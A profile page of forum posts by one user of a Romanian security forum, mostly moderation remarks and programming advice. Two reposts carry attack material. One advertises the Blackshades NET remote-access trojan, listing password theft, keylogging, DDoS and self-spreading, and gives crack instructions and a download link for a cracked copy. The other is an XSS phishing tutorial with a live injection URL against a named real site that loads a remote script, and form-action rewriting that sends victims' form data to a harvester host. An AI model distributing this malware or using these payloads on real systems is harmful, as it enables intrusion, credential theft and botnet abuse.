-
Posts
18772 -
Joined
-
Last visited
-
Days Won
730
Everything posted by Nytro
-
Propun sa va dau ban la toti, voua, celor mai destepte persoane de pe aici, si apoi sa inchid inregistrarile. Da, apoi, dupa ce aveti ban, poate facem cu invitatii sa vad de unde faceti rost.
-
Blackbuntu Ultimate OS for Hacking
Nytro replied to Nytro's topic in Sisteme de operare si discutii hardware
Tocmai l-am instalat. Arata bine asa intunecat, dar bate la ochi si nu se vad bine anumite texte. E extrem de usor de folosit, doar e bazat pe Ubuntu. Conexiunea la Internet si instalarea Pdigin-ului le-am facut cu 2 clickuri. -
Reiau propria idee. Uitati-va la toate posturile voastre si numarati-le pe cele tehnice.
-
Pentru toti care au ceva de spus pe aceasta tema, dati click pe numele vostru (de la un post) si "Find More Posts by [VOI]". Analizati-va balivernele, apoi, daca sunteti multumiti de ce ati vazut, puteti considera ca aveti un cuvant de spus.
-
Am scos imaginea. Probabil multi membri au Facebook-uri si foarte probabil nu sunt greu de gasit. Si eu am, si am poze cu mine beat si alte prostii. Sa pastram o oarecare confidentialitate.
-
Da, nu am observat nici o problema. Deci, ce anume ai realizat? Ai dat flood de nu iti mai mergea netul si ai crezut ca ai picat acel site?
-
Nu mai comentati daca cineva redeschide un topic vechi de ani. Va primi avertisment.
-
Pe lx.ro verifica site-urile, si acum mult timp tot verificau.
-
Wikipedia Raises $15 Out of Targeted $16 Million
Nytro replied to nosferatu's topic in Stiri securitate
Intr-adevar, cred ca marile companii ca Microsoft, Twitter, Facebook si Google cheltuiesc mai mult pentru servere, administratori de retea, administratorii de sisteme, programatori etc. Cu wikipedia e discutabila treaba. Cel putin la ei continutul e generat de utilizatori. Dar tot nu cred ca fondatorul castiga milioane de dolari din aceste donatii. Dar sa fim seriosi, si eu daca as avea bani as dona pentru Wikipedia. -
Mi-am cumparat azi: Octavian Paler - Viata pe un peron Gib Mihaescu - Zilele si noptile unui student intarziat Mircea Eliade - Romanul adolescentului miop Momentan citesc Traian Anghel - Introducere in AJAX. Dar intru in sesiune, si pana nu termin cu examenele nu cred ca mai citesc nimic.
-
Tutorial SQLI - Structured Query Language Injection
Nytro replied to ZeroCold's topic in Tutoriale in romana
Nu intelege nimeni nimic din prostia aia. Vor face toti ca acolo. Daca acolo scrie "Pune order by 1337 si o sa dea eroare" si nu da, nu vor sti ce sa faca mai departe. Trebuie mai intai explicat, apoi exemple concludente, nu de pe orice site vulnerabil, sunt mari diferente intre un site si altul, intre un SQL Injection si un altul. In plus, acest tutorial nu este adresat incepatorilor. Este adresat celor care cunosc un sistem de management al bazelor de date relationale si pe care il inteleg, si de preferat in care au si lucrat. Daca ti s-a explicat ce se intampla daca faci aciunea "x", vei stii care e cauza si ce sa faci mai departe. Degeaba vezi un exemplu daca propriul caz nu e IDENTIC. -
Daca ai invatat programare de pe Google e clar, faci parte din elita programatorilor... Ganditi si voi putin. Pe Google gasiti tutoriale, de obicei extrem de scurte si extrem de proaste. Va ganditi si voi: Cine scrie acele tutoriale? Oare le scrie Xulescu care programeaza in acel limbaj de 20 de ani, sau Vasile de varful muntelui, cel de 12 ani care a vazut el pe undeva ceva, crede ca a invatat ceva si se apuca si scrie un tutorial? Un limbaj de programare il inveti din carti. Si aceste carti rareori au mai putin de 300 de pagini. Si cum probabil va dati si voi seama, aceste carti nu sunt scrise de acel Vasile de 12 ani, ci de oameni cu o experienta vasta in domeniu. Mergeti si voi la o biblioteca mai mare sau prin librarii, luati o carte care prezinta un anumit limbaj, rasfoiti-o, apoi luati tutorialul de 3 pagini al lui Vasile si comparati-le. A, da, vreti sa invatati repede. Puteti invata repede, dar foarte putine si fara sa intelegeti prea multe. Daca vreti sa invatati un limbaj de programare in adevaratul sens al cuvantului, mai intai cititi 2-3 carti care il prezinta, apoi puteti citi niste tutoriale care va atrag prin titlu ca apoi sa observati bazaconiile pe care le contin. Apoi, desigur, dupa 3 ani de practica puteti spune ca ati invatat un limbaj de programare. Conceptul e simplu: 1-3 ani = incepator, 3-6 ani = mediu, +6 ani = avansat. Intre timp va puteti minti amicii ca stiti x limbaje de programare, doar pentru ca stiti sa scrieti un "Hello world" in ele.
-
Da, m-am uitat putin pe acolo, imi place.
-
Functia se apeleaza o data pe secunda si la fiecaare apel decrementeaza valoarea unei variabile. Nu mai bine setezi acea variabila la o valoare mica, sa zicem 2?
-
A, da ma, e un slabanog cu ochelari parca.
-
Blackbuntu Ultimate OS for Hacking
Nytro replied to Nytro's topic in Sisteme de operare si discutii hardware
Pfff. Programele GUI pentru Linux se fac in general folosind Qt, acesta fiind folosit de KDE sau folosind Gtk, acesta fiind folosit de Gnome. Toate distributiile de Linux au runtime-urile pentru aceste utilitati, adica librariile necesare pentru GUI. Deci nu conteaza desktop environment-ul. -
Sunt posturi mai "noi" din 2011 in alte topicuri
-
Engage Packet builder - Scriptable libnet-based packet builder
Nytro replied to pyth0n3's topic in Programe securitate
Nuuuuu. Voiam eu sa fac un astfel de program. Ohoo, are ceva optiuni. Sa vad daca imi place, daca stie sa se conecteze SYN > ACK... ca serie de 3 pachete. Modificare. Imi place, poti face IP spoofing. Pacat ca la ICMP nu ai decat tipul Echo. +1 -
"Am nociropcu scris in frumyre e nocorcu meu" Salam rullz ))))
-
Sa te fut, eu voiam sa postez primu
-
Cat pe ce sa fiu la 00:00 pe WC, putin ametit Inca 4 minute :->
-
Blackshades NET 3.4 by DaPimp & M4x Deciding between a RAT, a host booter, or controlling a botnet has never been easier. With Blackshades NET, you get the best of all three - all in one with an easy to use, nice looking interface. You are able to choose between four crisp looking skins, with the default being a very nicely-fitting black theme. Even better, Blackshades NET does a lot of the work for you - it can automatically map your ports, seed your torrent for you, and spread through AIM, MSN, ICQ and USB devices. Don't know how to set up a RAT? Many people are here to help - and there are tutorials, too! A big thing in deciding could be the fact that Blackshades NET customers get a 20% discount on Blackshades Crypt! Blackshades NET is a very advanced Remote Administration tool coded in Visual Basic 6. Unlike many of you think, VB6 is not as limited and useless as you think. This RAT, unlike many other that are for sale on the marketplace, has no dependencies (.NET Framework, java, etc) and works extremely well. Purchasing will provide you with lifetime updates, even major updates. It is regularly updated and is as soon as needed. The current version is 3.3 Customers also get their own support forum where they can give suggestions for updates, report bugs, get support from the coders and other members, and more! Because of this, I no longer offer remote support over MSN or Teamviewer. If you are having a problem, it is better to search the forum to see if others are having it and to have it archived if it is a legitimate problem. Not only that, but customers of my product are so happy with it that they are willing to offer support to new users -without me paying them or giving them free copies- to make sure all users are dealt with as I am busy with sales of Blackshades and (new!) Blackshades Crypt. Still not enough to confirm that even noobs can use this, the package comes with two very detailed, picture-heavy tutorials compiled by SakiMCM. Everyone should thank him for these great tuts! A couple things to note before purchasing: - The stub is NOT FUD! - You get lifetime updates - Support is offer, but NOT by me! I have people to take care of it: look below. - It is NOT my responsibility to go on teamviewer and walk you through this step-by-step. There are two extremely in-depth tutorials. - Server works great on Windows XP/Vista/7/2000/2003 - It is HWID protected. If you format a lot, I can update your HWID quickly. Payment is Simple: I accept these payment methods (in order of prefference) - AlertPay - Western Union - WMZ - Liberty Reserve - Moneybookers The price is a light, one time fee which includes all updates of the program Price: $50 For Question/Sales information/Support/Bug Reports/Help/Suggestions, just post in the right forum here or PM me! Commands: - Ping - Filter Connections (By ID, WAN, LAN, DDOS, IM, USB, Username, Comp. Name, Privileges, OS, Uptime, Idle, Ping, Socks4, Country, Version) - Install Date - Change Host (New DNS to connect to) - Select All/Range - Resolve Hostname - Copy (WAN, LAN, Socks, Full Info, Entire List, Socks Checker List) - Audio Capture - Full MSN Controller (Block, Add, Unblock, Mass message!) - Screen Capture and Control (Mouse/Keyboard supported, choose bitsize for quicker transfer) - Keylog Manager (All/Selected/Single, Filtered/Scan/Complete) - Webcam Capture - DDoS (UDP/TCP, select packet/sockets/packet size/port/ip, ability to ddos on join, by country, by ping, by IP range, or random) - View Network Statistics - Create Socks4 Proxy (Will not work behind NAT) - Pharming/Redirect - Sniffer - Website Visit (Visible/Multiple Times Hidden) - File Manager (Search, Execute, Upload, Delete, Download, Multi File Download, Folder Download, Advanced Image Gallery/Previewer) - Process Manager (Resume, Suspend, Kill) - Registry Manager (New Key, New Value, Delete Key, Delete Value) - Service Manager (Start, Stop) - Shell (cmd prompt) - Download/Execute - Update Idle Time - Seed Torrent - File Infector - Update Uptime - Fun Manager (Reverse/Normal Mouse, Open/Close CD Tray, Hide/Show Mouse, Hide/Show Desktop Icons, Start/Stop Crazy Mouse, Send Message Box, Change Wallpaper (by URL), Speak Text (Type it, then send it. Choose Slow-Mo, Speedy, or Regular Speed), Set Volume 100%, Mute Volume, Unmute Volume, Start Screensaver, Restart Computer, Logoff Computer, Shutdown Computer, Turn off Monitor, Turn on Monitor) - Passwords: Internet Explorer 7/8 Firefox 3.x CD Keys Windows Product Keys MSN Messenger Windows Messenger Windows Live Messenger (WinXP/Vista/7) Yahoo Messenger (5.x/6.x) Google Talk ICQ Lite (4.x/5.x/2003) AOL Instant Messenger (v4.6 or below/AIM 6.x/AIM Pro) Trillian Trillian Astra Miranda GAIM/Pidgin MySpace IM PaltalkScene Digsby Outlook Express Microsoft Outlook 2000/2002/2003/2007/2010 (POP3, IMAP, HTTP and SMTP Accounts) Windows Mail Windows Live Mail IncrediMail Eudora Netscape (6.x/7.x) Mozilla Thunderbird Group Mail Free Yahoo! Mail Hotmail/MSN mail Gmail Google Desktop Google Talk - Spread (USB, MSN, AIM/ICQ) - Edit ID - Update Server - Remove Server Features: Web Server - Control your bot through the web server, and also set up admin/guest accounts with editable privileges for guests! - Station - Host through your botnet through your bot to prevent tracebacks 100% - IP to Country Flags - New Bots show as Red - Icon Changer - Change to any .ico File - File Info Cloner - Clone file details of any exe file - Server Builder (Uses string replacement - no EOF needed!) - All settings are stored and remembered - After a sucessful login, you will not need to input your username and click login - it will automatically log you in. - Statistics (Disconnected, Attempt, Established Connection, etc) - View Chart of Bots by Country - Skin Chooser - choose between 4 lovely skins Wink - Database Logging (Log Passwords, Connections, Keylogs to SQL) - Tasks (Keylog, Passwords, DDoS Start/Stop, DL/Execute, Update without being @ PC) - Multi Transfers (Download multiple files at once, view multiple screens at once, or view multiple webcams at once!) - Process Protection (Optional) (Cannot be killed by task manager on Vista/7. On XP, you will get BSOD and restart - if protection fails on Vista/7, it will get BSOD and restart) - Network Sharing (Input the IP and Port of a friend and he can share your bots - update and remove are not allowed) - No dependencies required. Cracked again by DaPimp & M4x Crack Art: Loader + Builder Howto Use: 1.) Start "Client.exe" and wait until its Loaded (Login Screen), START AS ADMIN 2.) Start my Loader AS ADMIN 3.) When its finished press "1" and ENTER. 4.) Now you can Login on Blackshades with any Name! Howto create a Server: 1.) Start Blackshades (Look above) 2.) Configure your Server 3.) Press Build. 4.) Now a Messagebox appear, press Ctrl + C (Copy Paste) in the Messagebox and paste the Clipboard to Notepad! Now Copy the Middle line (///....///dummy///) COMPLETLY to Clipboard, without a new line or something other. --------------------------- Fehler --------------------------- ///47437A53475F5347437C535E///1234///5678///3F5935461A4E241D19///250423250C08031C092813470B1E17///app///25042305061915522928070C0002171F///09287E252B2822305A6058502D205F2F78202F4354312B0F4C2A595234290F53285754365530///0///0///0///0///0///CW2HAI288N///0///dummy/// --------------------------- OK --------------------------- So Copy the Config: ///47437A53475F5347437C535E///1234///5678///3F5935461A4E241D19///250423250C08031C092813470B1E17///app///25042305061915522928070C0002171F///09287E252B2822305A6058502D205F2F78202F4354312B0F4C2A595234290F53285754365530///0///0///0///0///0///CW2HAI288N///0///dummy/// 5.) Type a "2" in my Loader and press ENTER. 6.) Make sure you have the Blackshadesconfig on your Clipboard and press ENTER again. 7.) Server.exe is your finished Server! Download: http://rapidshare.com/files/424504020/BS_Crack_By_DaPimp.rar Nu l-am incercat, nu stiu daca e infectat, nu sunt raspunzator de nimic. Sursa: Blackshades NET 3.4 by DaPimp & M4x - r00tsecurity
-
Blackbuntu Ultimate OS for Hacking About Blackbuntu Blackbuntu is distribution for penetration testing which was specially designed for security training students and practitioners of information security. Blackbuntu is penetration testing distribution with GNOME Desktop Environment. It's currently being built using the Ubuntu 10.10 and work on reference Back|Track. It's created in our own time as a hobby. Maintainer Team: Project Founder & Main Developer: c1ph3r < c1ph3r {at} blackbuntu . com > Developer: x-c0d3 < x-c0d3 {at} blackbuntu . com > Developer: mayaseven < mayaseven {at} blackbuntu . com > Contributor: salary < salary {at} blackbuntu . com > Contact us: We're requires some developers for working on a variety of interesting projects and in particular to join in an innovative and challenging project. just write to info {at} blackbuntu.com Review : http://www.youtube.com/watch?v=ELt2rl5vImg Download: http://www.blackbuntu.com/download
-
How to phish the effective and smart way using XSS Normally if you wish to phish a user for information like passwords, emails, social security numbers, credit card numbers or what not and you’re exploiting some website with a bug in its handling of user content (either from a database or from the GET data) (Please note that POST XSS exploits isn’t really easy to exploit since you’ll have to make the user POST the data him/herself) you normally would like to send the user to your own phishing page where you have copied the compromised sites design, CSS etc. Please note that when phishing by exploiting an unprotected frame which gets its content URL from a GET querystring (RFI) you’ll have to either copy the CSS etc to your own site or simply link to the sites own CSS files. Moving on to the topic of this post, exploiting XSS vulnerabilities to phish the attacked users, of course without the users having a clue. One of the methods which I don’t see get exploited is the JavaScript call “document.formName.action=’http://your-harvester-site.com/exploitingAction.php’”. With the code above it’s possible to create a man-in-the-middle kind of attack where you can either just choose to log the information of the form or you can choose to tamper with the information before posting the data to the original action. It can be done with this 3 step attack: 1. step: Inject the forms of a XSS exploitable page, e.g. with a script like this: http://www.e-x-e.dk/labs/autoPhisher/injector.js. A super simple yet effective script I’ll be using for this PoC. 2. step: Receive the form data, log it/tamper it and send the victim back to the original site with a new exploited URL injected with a “pusher”. This script could be done like this: http://www.e-x-e.dk/labs/autoPhisher/source/index.php This script is using a subclass of the abstract class TopLoader I’m using, it just has some basic functions for getting, setting, saving, deleting etc. The last part of the script is computing a new pusher-injected URL to which the victim will be sent. 3. step: Let the pusher to its job Since we cannot do a POST call for the victim to the original action serverside through PHP, we’ll have to make the browser do it for us through JavaScript. The pusher script generates some JavaScript which is started when the is window.onload(). It tries to set the value of the form elements from the original form submit by the victim with getElementById. If the element is not found by this method it’ll try to set the value via the getElementsByName. Last but not least it auto submits the correct form with document.forms[{form ID}].submit(). The generator script is here: http://www.e-x-e.dk/labs/autoPhisher/source/pusher.php Here a place you can test this thing out: http://www.doid.dk/page/main.asp?error=timeout&referer=%22%3E%3Cscript%20src=http://www.e-x-e.dk/labs/autoPhisher/injector.js%3E%3C/script%3E Example user / password: testerLars / testerLars Let me know what you think by making some comments and maybe leaving some more usage examples. Sursa: How to phish the effective and smart way using XSS | Thomas Stig Jacobsen's constant why Sfinte Cacat, ce fac de Revelion
-
Da. Eu nu pot numi Revelion ceea ce fac, macar fac ceva util asa. Si vin, manele si prajituri.